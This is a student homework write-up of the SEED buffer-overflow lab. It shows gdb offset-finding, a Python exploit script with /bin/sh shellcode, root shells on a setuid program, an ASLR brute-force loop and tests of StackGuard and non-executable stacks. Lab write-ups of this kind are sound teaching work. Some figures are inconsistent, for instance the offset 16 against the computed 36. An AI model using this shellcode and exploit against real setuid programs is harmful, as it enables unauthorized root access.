CS166 Section-04
Mikhail Sumawan
Homework 5

Q1: What is Buffer Overflow Attack?

Answer: Buffer Overflow attack is a type of attack that exploits the boundary of memory processing power, a buffer overflow occurs when a program writes data outside the bounds of allocated memory. An attacker can either corrupt a program data or use buffer overflow to trigger the execution code chosen by the attacker. To put it simply, a buffer overflow attack will overwrite the memory of an application or a program which in turn, changes the execution path of the program, eventually triggering a response that damages the file data or exposes confidential information regarding the target. There are two types of buffer overflow attacks, the most common ones are called stack-based buffer overflows, and the other is heap-based buffer attacks which are more difficult to carry out.

B. Carrying Buffer Overflow Attack on SEED labs:

To perform Buffer Overflow Attack, we need to disable the Address Space Layout Randomization so we can predict where the stack in memory lies. We can do this by running this command:

```
Terminal
[12/01/21]seed@VM:~$ sudo sysctl -q kernel.randomize_va_space
kernel.randomize_va_space = 0
[12/01/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/01/21]seed@VM:~$
```

And to also avoid the protection for SET-UID programs, we need to run the following command:

```
[12/01/21]seed@VM:~$ sudo rm /bin/sh
[12/01/21]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
```

SEED compiler has certain prevention to buffer overflow, in order to bypass this prevention, we need to disable the two prevention by running this shell command when executing the program using gcc:

1.) -fno-stack-protector: Which turns off the Stack-Guard Protection Scheme.
2.) -z execstack: Which makes the stack becomes executable and thus allows our program to be executed in the stack.

Task 1: Running the Shellcode

First, we need to run the file call_shellcode.c from the given file in the SEED lab using: gcc -z execstack, like so:

```
buffover  call_shellcode.c  exploit.c  exploit.py  stack.c
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function ‘main’:
call_shellcode.c:24:4: warning: implicit declaration of function ‘strcpy’ [-Wimp
licit-function-declaration]
    strcpy(buf, code);
    ^
call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in fu
nction ‘strcpy’
call_shellcode.c:24:4: note: include ‘<string.h>’ or provide a declaration of ‘s
trcpy’
[12/01/21]seed@VM:~/.../HW5$
```

this will output an executable called call_shellcode, as seen here which we can run now without throwing any errors as a segmentation fault:

```
[12/01/21]seed@VM:~/.../HW5$ ls
buffover  call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack.c
[12/01/21]seed@VM:~/.../HW5$ ./call_shellcode
$
```

Now, we can compile the given target program called stack.c while disabling the StackGuard Protection Scheme and make it executable via stack by running this command:

```
[12/01/21]seed@VM:~/.../HW5$ ls
buffover  call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack.c
[12/01/21]seed@VM:~/.../HW5$ ll
total 28
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 buffover
-rwxrwxr-x 1 seed seed 7388 Dec  1 18:22 call_shellcode
-rw-rw-r-- 1 seed seed  951 Dec  1 16:52 call_shellcode.c
-rw-rw-r-- 1 seed seed 1260 Dec  1 16:52 exploit.c
-rw-rw-r-- 1 seed seed 1020 Dec  1 16:52 exploit.py
-rw-rw-r-- 1 seed seed  977 Dec  1 16:52 stack.c
[12/01/21]seed@VM:~/.../HW5$ gcc -o stack -z execstack -fno-stack-protector stack.c
[12/01/21]seed@VM:~/.../HW5$ ls
buffover        call_shellcode.c  exploit.py  stack.c
call_shellcode  exploit.c         stack
[12/01/21]seed@VM:~/.../HW5$ ls
buffover  call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack  stack.c
[12/01/21]seed@VM:~/.../HW5$ sudo chown root stack
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 stack
[12/01/21]seed@VM:~/.../HW5$ ls
buffover  call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack  stack.c
[12/01/21]seed@VM:~/.../HW5$ echo "aaa" > badfile
[12/01/21]seed@VM:~/.../HW5$ ./stack
Returned Properly
[12/01/21]seed@VM:~/.../HW5$
```

As you can see from the above screenshot, by executing the above command, the program stack made a SET-UID root program which is highlighted in red.

Task 2: Exploiting the Vulnerability

Now we can use the SET-UID program made from the last command to gain access into the root shell. We can find the address of the process somewhere in the memory since we have disabled the Address Space Layout Randomization to randomize our process. To find this address, we have to go through a debug mode which will help find the offset and the ebp which we can use later to make the right buffer payload to run our program. So, now first we need to be in the debug mode for the stack program:

```
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -fno-stack-protector -g -o stack_debug
 stack.c
[12/01/21]seed@VM:~/.../HW5$ ls
badfile   call_shellcode    exploit.c   stack    stack_debug
buffover  call_shellcode.c  exploit.py  stack.c
[12/01/21]seed@VM:~/.../HW5$ gdb stack_debug
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack_debug...done.
gdb-peda$ 
```

Before running the program, first create the debug using b bof to set a breakpoint:

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
gdb-peda$ run
Starting program: /home/seed/Documents/HW5/stack_debug
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffeb57 ("aaa\n")
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffeb18 --> 0xbfffed68 --> 0x0
ESP: 0xbfffeaf0 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484f1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484eb <bof>:     push   ebp
   0x80484ec <bof+1>:   mov    ebp,esp
```

```
   0x80484ec <bof+1>:   mov    ebp,esp
   0x80484ee <bof+3>:   sub    esp,0x28
=> 0x80484f1 <bof+6>:   sub    esp,0x8
   0x80484f4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80484f7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484fa <bof+15>:  push   eax
   0x80484fb <bof+16>:  call   0x8048390 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffeaf0 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffeaf4 --> 0x0
0008| 0xbfffeaf8 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffeafc --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffeb00 --> 0xbfffed68 --> 0x0
0020| 0xbfffeb04 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffeb08 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffeb0c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffeb57 "aaa\n") at stack.c:21
21          strcpy(buffer, str);
gdb-peda$
```

Finding the ebp and the buffer:

```
Breakpoint 1, bof (str=0xbfffeb57 "aaa\n") at stack.c:21
21          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb18
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeaf8
gdb-peda$ p/d 0xbfffeb18 - 0xbfffeaf8
$3 = 32
gdb-peda$
```

The frame pointer is on 0xbfffeb18 which means that the return address is stored at 0xbfffeb18 + 4, but the first address that we can jump is 0xbfffeb18 + 8. To find the location to store the ret address we can do that by finding the difference between the ret address and the buffer start address. Here, you can see that the difference is 4bytes above where the ebp pointer is, and therefore, the distance between the start of the buffer and the ret address is 36.

Now we just need to modify the exploit.py and give it the new return address and offset value from the one that we got in the last commands. My return address is BFFFEB18 + 120 = BFFFEC38 and the offset value is 16.

```python
#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"     # xorl    %eax,%eax
   "\x50"         # pushl   %eax
   "\x68""//sh"   # pushl   $0x68732f2f
   "\x68""/bin"   # pushl   $0x6e69622f
   "\x89\xe3"     # movl    %esp,%ebx
   "\x50"         # pushl   %eax
   "\x53"         # pushl   %ebx
   "\x89\xe1"     # movl    %esp,%ecx
   "\x99"         # cdq
   "\xb0\x0b"     # movb    $0x0b,%al
   "\xcd\x80"     # int     $0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xBFFFEC38   # replace 0xAABBCCDD with the correct value
offset = 16            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Now we just need to run the python program to output the badfile, and then we can run the SET-UID program from the previous outputs as input and copy the contents into the file of the stack which will result in a buffer overflow.

```
[12/01/21]seed@VM:~/.../HW5$ chmod u+x exploit.py
[12/01/21]seed@VM:~/.../HW5$ ls
badfile   call_shellcode    exploit.c    peda-session-stack_debug.txt  stack.c
buffover  call_shellcode.c  exploit.py  stack                          stack_debug
[12/01/21]seed@VM:~/.../HW5$ ll
total 56
-rw-rw-r-- 1 seed seed  517 Dec  1 19:15 badfile
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 buffover
-rwxrwxr-x 1 seed seed 7388 Dec  1 18:22 call_shellcode
-rw-rw-r-- 1 seed seed  951 Dec  1 16:52 call_shellcode.c
-rw-rw-r-- 1 seed seed 1260 Dec  1 16:52 exploit.c
-rwxrw-r-- 1 seed seed 1021 Dec  1 19:15 exploit.py
-rw-rw-r-- 1 seed seed   11 Dec  1 18:42 peda-session-stack_debug.txt
-rwsr-xr-x 1 root seed 7516 Dec  1 18:29 stack
-rw-rw-r-- 1 seed seed  977 Dec  1 16:52 stack.c
-rwxrwxr-x 1 seed seed 9844 Dec  1 18:41 stack_debug
[12/01/21]seed@VM:~/.../HW5$ exploit.py
[12/01/21]seed@VM:~/.../HW5$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# 
```

This output shows that I have successfully performed the buffer overflow attack and gained root privileges. However, the uid is still not equal to euid. First, I need to make another c program to turn the uid into root as well, using this c code:

```c
void main() {
setuid(0);
system("/bin/sh");
}
```

```
[12/01/21]seed@VM:~/.../HW5$ ls
badfile         call_shellcode.c  makeitroot                    stack
buffover        exploit.c         makeitroot.c                  stack.c
call_shellcode  exploit.py        peda-session-stack_debug.txt  stack_debug
[12/01/21]seed@VM:~/.../HW5$ gedit makeitroot.c
[12/01/21]seed@VM:~/.../HW5$ ./stack
# id
uid=1000(root) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# 
```

Task 3: Defeating dash's Countermeasure

To defeat the dash's countermeasure, we need to change back into /bin/dash.

```
[12/01/21]seed@VM:~/.../HW5$ sudo rm /bin/sh
[12/01/21]seed@VM:~/.../HW5$ sudo ln -s /bin/dash /bin/sh
[12/01/21]seed@VM:~/.../HW5$
```

Now, I need to compile the dash_shell_test.c file and make a SET-UID root program for dash_shell_test.c, this is the dash_shell_test.c:

```c
// dash_shell_test.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;

        // setuid(0);
        execve("/bin/sh", argv, NULL);

        return 0;
}
```

```
[12/01/21]seed@VM:~/.../HW5$ gcc dash_shell_test.c -o dash_shell_test
[12/01/21]seed@VM:~/.../HW5$ sudo chown root dash_shell_test
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 dash_shell_test
[12/01/21]seed@VM:~/.../HW5$ ll
total 80
-rw-rw-r-- 1 seed seed  517 Dec  1 19:16 badfile
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 buffover
-rwxrwxr-x 1 seed seed 7388 Dec  1 18:22 call_shellcode
-rw-rw-r-- 1 seed seed  951 Dec  1 16:52 call_shellcode.c
-rwsr-xr-x 1 root seed 7404 Dec  1 21:53 dash_shell_test
-rw-rw-r-- 1 seed seed  214 Dec  1 21:51 dash_shell_test.c
-rw-rw-r-- 1 seed seed 1260 Dec  1 16:52 exploit.c
-rwxrw-r-- 1 seed seed 1021 Dec  1 19:15 exploit.py
-rwxrwxr-x 1 seed seed 7388 Dec  1 19:21 makeitroot
-rw-rw-r-- 1 seed seed   46 Dec  1 19:21 makeitroot.c
-rw-rw-r-- 1 seed seed   11 Dec  1 18:42 peda-session-stack_debug.txt
-rwsr-xr-x 1 root seed 7516 Dec  1 18:29 stack
-rw-rw-r-- 1 seed seed  977 Dec  1 16:52 stack.c
-rwxrwxr-x 1 seed seed 9844 Dec  1 18:41 stack_debug
[12/01/21]seed@VM:~/.../HW5$
```

Running dash_shell_test program:

```
[12/01/21]seed@VM:~/.../HW5$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
$ exit
[12/01/21]seed@VM:~/.../HW5$
```

Now, Running dash_shell_test program but with removing the set uid to 0 in the running_dash_shell.c program:

```
[12/01/21]seed@VM:~/.../HW5$ gedit dash_shell_test.c
[12/01/21]seed@VM:~/.../HW5$ gcc dash_shell_test.c -o removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ls
badfile           dash_shell_test    makeitroot                     stack
buffover          dash_shell_test.c  makeitroot.c                   stack.c
call_shellcode    exploit.c          peda-session-stack_debug.txt   stack_debug
call_shellcode.c  exploit.py         removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ sudo chown root removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ls
badfile           dash_shell_test    makeitroot                     stack
buffover          dash_shell_test.c  makeitroot.c                   stack.c
call_shellcode    exploit.c          peda-session-stack_debug.txt   stack_debug
call_shellcode.c  exploit.py         removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./removedcommentsetuid
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
# exit
```

Now, I perform a buffer overflow attack using the same method from task 2:

```
[12/01/21]seed@VM:~/.../HW5$ exploit.py
[12/01/21]seed@VM:~/.../HW5$ ls
badfile           dash_shell_test    makeitroot                     stack
buffover          dash_shell_test.c  makeitroot.c                   stack.c
call_shellcode    exploit.c          peda-session-stack_debug.txt   stack_debug
call_shellcode.c  exploit.py         removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
# exit
```

Task 4: Defeating Address Randomization

The failed attack caused by Address Randomization:

```
[12/01/21]seed@VM:~/.../HW5$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[12/01/21]seed@VM:~/.../HW5$ ls
badfile           dash_shell_test    makeitroot                     stack
buffover          dash_shell_test.c  makeitroot.c                   stack.c
call_shellcode    exploit.c          peda-session-stack_debug.txt   stack_debug
call_shellcode.c  exploit.py         removedcommentsetuid
[12/01/21]seed@VM:~/.../HW5$ ./stack
Segmentation fault
[12/01/21]seed@VM:~/.../HW5$
```

Thus, I need to run the shell script given so I can run the vulnerable program in a loop.

```
#!/bin/bash

SECONDS=0
value=0
while [ 1 ]
 do
 value=$(( $value + 1 ))
 duration=$SECONDS
 min=$(($duration / 60))
 sec=$(($duration / 60))
 echo "$min minutes and $sec seconds elapsed."
 echo "The program has been running $value times so far."
 ./stack
done
```

The above screenshot is the brute force file:

```
[12/01/21]seed@VM:~/.../HW5$ ll
total 92
-rw-rw-r-- 1 seed seed  517 Dec  1 22:25 badfile
-rw-rw-r-- 1 seed seed  260 Dec  1 23:07 bruteattack
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 buffover
-rwxrwxr-x 1 seed seed 7388 Dec  1 18:22 call_shellcode
-rw-rw-r-- 1 seed seed  951 Dec  1 16:52 call_shellcode.c
-rwsr-xr-x 1 root seed 7404 Dec  1 21:53 dash_shell_test
-rw-rw-r-- 1 seed seed  166 Dec  1 22:04 dash_shell_test.c
-rw-rw-r-- 1 seed seed 1260 Dec  1 16:52 exploit.c
-rwxrw-r-- 1 seed seed 1021 Dec  1 19:15 exploit.py
-rwxrwxr-x 1 seed seed 7388 Dec  1 19:21 makeitroot
-rw-rw-r-- 1 seed seed   46 Dec  1 19:21 makeitroot.c
-rw-rw-r-- 1 seed seed   11 Dec  1 18:42 peda-session-stack_debug.txt
-rwsr-xr-x 1 root seed 7368 Dec  1 22:04 removedcommentsetuid
-rwsr-xr-x 1 root seed 7516 Dec  1 18:29 stack
-rw-rw-r-- 1 seed seed  977 Dec  1 16:52 stack.c
-rwxrwxr-x 1 seed seed 9844 Dec  1 18:41 stack_debug
[12/01/21]seed@VM:~/.../HW5$
```

```
./bruteattack: line 13: 32626 Segmentation fault      ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156325 times so far.
./bruteattack: line 13: 32627 Segmentation fault      ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156326 times so far.
./bruteattack: line 13: 32628 Segmentation fault      ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156327 times so far.
./bruteattack: line 13: 32629 Segmentation fault      ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156328 times so far.
./bruteattack: line 13: 32630 Segmentation fault      ./stack
7 minutes and 56 seconds elapsed.
The program has been running 156329 times so far.
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

Task 5: Turn on the StackGuard Protection

Now, I need to disable the address randomization countermeasure and then compile the vulnerable program stack.c with StackGuard Protection without using the -fno-stack-protector.

```
[12/01/21]seed@VM:~/.../HW5$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/01/21]seed@VM:~/.../HW5$ gcc -z execstack -o stackwithSG stack.c
[12/01/21]seed@VM:~/.../HW5$ ll stackwithSG
-rwxrwxr-x 1 seed seed 7564 Dec  1 23:14 stackwithSG
[12/01/21]seed@VM:~/.../HW5$ sudo chown root stackwithSG
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4755 stackwithSG
[12/01/21]seed@VM:~/.../HW5$ ll
total 100
-rw-rw-r-- 1 seed seed  517 Dec  1 22:25 badfile
-rw-rw-r-- 1 seed seed  260 Dec  1 23:07 bruteforce
drwxrwxr-x 2 seed seed 4096 Apr 22  2020 buffover
-rwxrwxr-x 1 seed seed 7388 Dec  1 18:22 call_shellcode
-rw-rw-r-- 1 seed seed  951 Dec  1 16:52 call_shellcode.c
-rwsr-xr-x 1 root seed 7404 Dec  1 21:53 dash_shell_test
-rw-rw-r-- 1 seed seed  166 Dec  1 22:04 dash_shell_test.c
-rw-rw-r-- 1 seed seed 1260 Dec  1 16:52 exploit.c
-rwxrw-r-- 1 seed seed 1021 Dec  1 19:15 exploit.py
-rwxrwxr-x 1 seed seed 7388 Dec  1 19:21 makeitroot
-rw-rw-r-- 1 seed seed   46 Dec  1 19:21 makeitroot.c
-rw-rw-r-- 1 seed seed   11 Dec  1 18:42 peda-session-stack_debug.txt
-rwsr-xr-x 1 root seed 7368 Dec  1 22:04 removedcommentsetuid
-rwsr-xr-x 1 root seed 7516 Dec  1 18:29 stack
-rw-rw-r-- 1 seed seed  977 Dec  1 16:52 stack.c
-rwxrwxr-x 1 seed seed 9844 Dec  1 18:41 stack_debug
-rwsr-xr-x 1 root seed 7564 Dec  1 23:14 stackwithSG
[12/01/21]seed@VM:~/.../HW5$
```

Now, run the stack program and do a buffer overflow attack which going to fail because of the StackGuard Protection:

```
[12/01/21]seed@VM:~/.../HW5$ ./stackwithSG
*** stack smashing detected ***: ./stackwithSG terminated
Aborted
[12/01/21]seed@VM:~/.../HW5$
```

Because the StackGuard Protection is active, a buffer overflow attack will be detected and prevented.

Task 6: Turn on the Non-Executable Stack Protection

Since the address randomization is off from the previous commands, we can just compile the stack.c program again with the StackGuard Protection turned off:

```
[12/01/21]seed@VM:~/.../HW5$ gcc -o nostack -fno-stack-protector -z noexecstack stac
k.c
[12/01/21]seed@VM:~/.../HW5$ ls
badfile           dash_shell_test     makeitroot.c                 stack.c
bruteforce        dash_shell_test.c   nostack                      stack_debug
buffover          exploit.c           peda-session-stack_debug.txt stackwithSG
call_shellcode    exploit.py          removedcommentsetuid
call_shellcode.c  makeitroot          stack
[12/01/21]seed@VM:~/.../HW5$ sudo chown root nostack
[12/01/21]seed@VM:~/.../HW5$ sudo chmod 4655 nostack
[12/01/21]seed@VM:~/.../HW5$ ll nostack
-rwSr-xr-x 1 root seed 7516 Dec  1 23:20 nostack
[12/01/21]seed@VM:~/.../HW5$
```

Now I can run this program which going to have a segmentation fault that shows that the buffer overflow attack failed:

```
[12/01/21]seed@VM:~/.../HW5$ ./nostack
Segmentation fault
[12/01/21]seed@VM:~/.../HW5$
```